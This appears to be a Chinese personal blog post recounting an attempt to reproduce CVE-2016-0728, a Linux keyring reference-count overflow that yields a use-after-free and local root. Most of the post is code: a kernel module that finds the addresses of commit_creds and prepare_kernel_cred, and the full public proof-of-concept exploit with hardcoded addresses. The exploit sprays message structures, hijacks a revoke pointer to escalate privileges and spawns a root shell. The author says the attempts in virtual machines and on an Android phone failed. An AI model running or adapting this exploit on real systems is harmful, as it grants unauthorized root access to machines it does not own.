看看CVE-2016-0728

上周末看了下cve-2016-0728 linux本地提权漏洞,今天记录一下。
这个漏洞主要是因为keyrings内核组件的引用泄露引起的。
此内核对象采用一个32位无符号整数做引用计数,但在引用计数溢出的时候没有进行合理的错误处理,所以当对此对象引用到达4G时会使引用计数回到0,内核在检测到此引用计数为0时会析构对象释放空间。而此时r3程序还保留有内核对象的引用,如此就形成了一个UAF漏洞。
印象中这种整形溢出造成的严重漏洞还真不少,本着实践出真知的态度实践一下。
原文中提到:
“Addresses of commit_creds and prepare_kernel_cred functions are static and can be determined per Linux kernel version/android device.”
所以先写了个内核模块获取这俩函数的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <linux/module.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
static int __init find_symbol_init(void);
static void __exit find_symbol_exit(void);
//模块加载函数:
int __init find_symbol_init(void)
{
const char * name1= "prepare_kernel_cred"; //待查找的内核符号的名字
const char * name2= "commit_creds"; //待查找的内核符号的名字
struct kernel_symbol * ksymbol ; // 用于接收测试函数返回值
struct module * owner; // 内核符号所属的模块
const unsigned long *crc;
int i=0;
const char *name[2]={name1,name2};
for(i=0;i<2;++i){
bool gplok = true; // 模块支持GPL 许可
bool warn = true; // 允许输出警告信息
ksymbol = find_symbol(*(name+i),&owner,&crc,gplok,warn); //调用待测试函数
if( ksymbol != NULL )
{
/*输出查找到的内核符号在内存中的地址*/
printk("<0>ksymbol->value : %lx\n",ksymbol->value);
printk("<0>ksymbol->name : %s\n",ksymbol->name); //输出内核符号名字
}
else
printk("<0>Failed to find symbol %s\n", *(name+i));
if( owner != NULL )
{
/*输出内核符号所属的模块的名字*/
printk("<0> owner->name : %s\n",owner->name);
}
if( crc != NULL )
{
/* 输出内核符号的crc 值所在的地址*/
printk("<0>*crc : %lx\n",*crc);
}
}
return 0;
}

//模块退出函数:
void __exit find_symbol_exit(void)
{
printk("<0>module exit ok!\n");
}
//模块加载、退出函数调用:
module_init(find_symbol_init);
module_exit(find_symbol_exit);

Google了一番将其编译成ko文件,再

1
2
# 加载
insmod find_symbol.ko
1
2
# 卸载
rmmod find_symbol
1
2
# 查看输出
dmesg

得到如下内容:

根据获取到的两个函数地址修改原文中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810957e0) //got from find_symbol //(0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81095ae0) //got from find_symbol //(0xffffffff81094550)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct {
long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
/*此处为个人添加,可动态显示内核对象的引用进度*/
if (i<0xffffff00 && i % 429496==0){
double tmp=i*1.0/42949670;
printf("\r\x1b[KProgress: %3.1lf%%\r",tmp);
fflush(stdout);
}
/***************************************/
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}

编译,运行

此时查看/proc/keys的内容可以看到keyring的引用计数在变化(ubuntu14下是无规则变动O_O,其他系统正常)

经过漫长的等待,得到如下结果:

并没有得到root。。。

分别在ubuntu14、centos6.5、centos7.0、kali等平台的虚拟机里尝试,都没有成功提权。。。猜测是因为虚拟机内存的释放和分配受其他因素影响比较厉害,一直无法使目标函数指针分配到正确的位置。一怒之下把函数地址分别改成0x0和0x1,出现 Ubuntu发生严重错误需要重启 的对话框,看起来是有被调用的样子。。
另,根据google的一份对应arm上安卓的代码(用syscall代替了一些api)编译了安卓上的poc,尝试在CM12下的一加手机上运行:

算了下,按这速度估计得跑个个把月。
(另,第二天解锁手机发现进度在0.018%,估计有生之年跑不完了 T_T )。

由于实践失败并没有出真知,因此度过了一个不愉快的周末。。。

谢谢老板打赏 Or2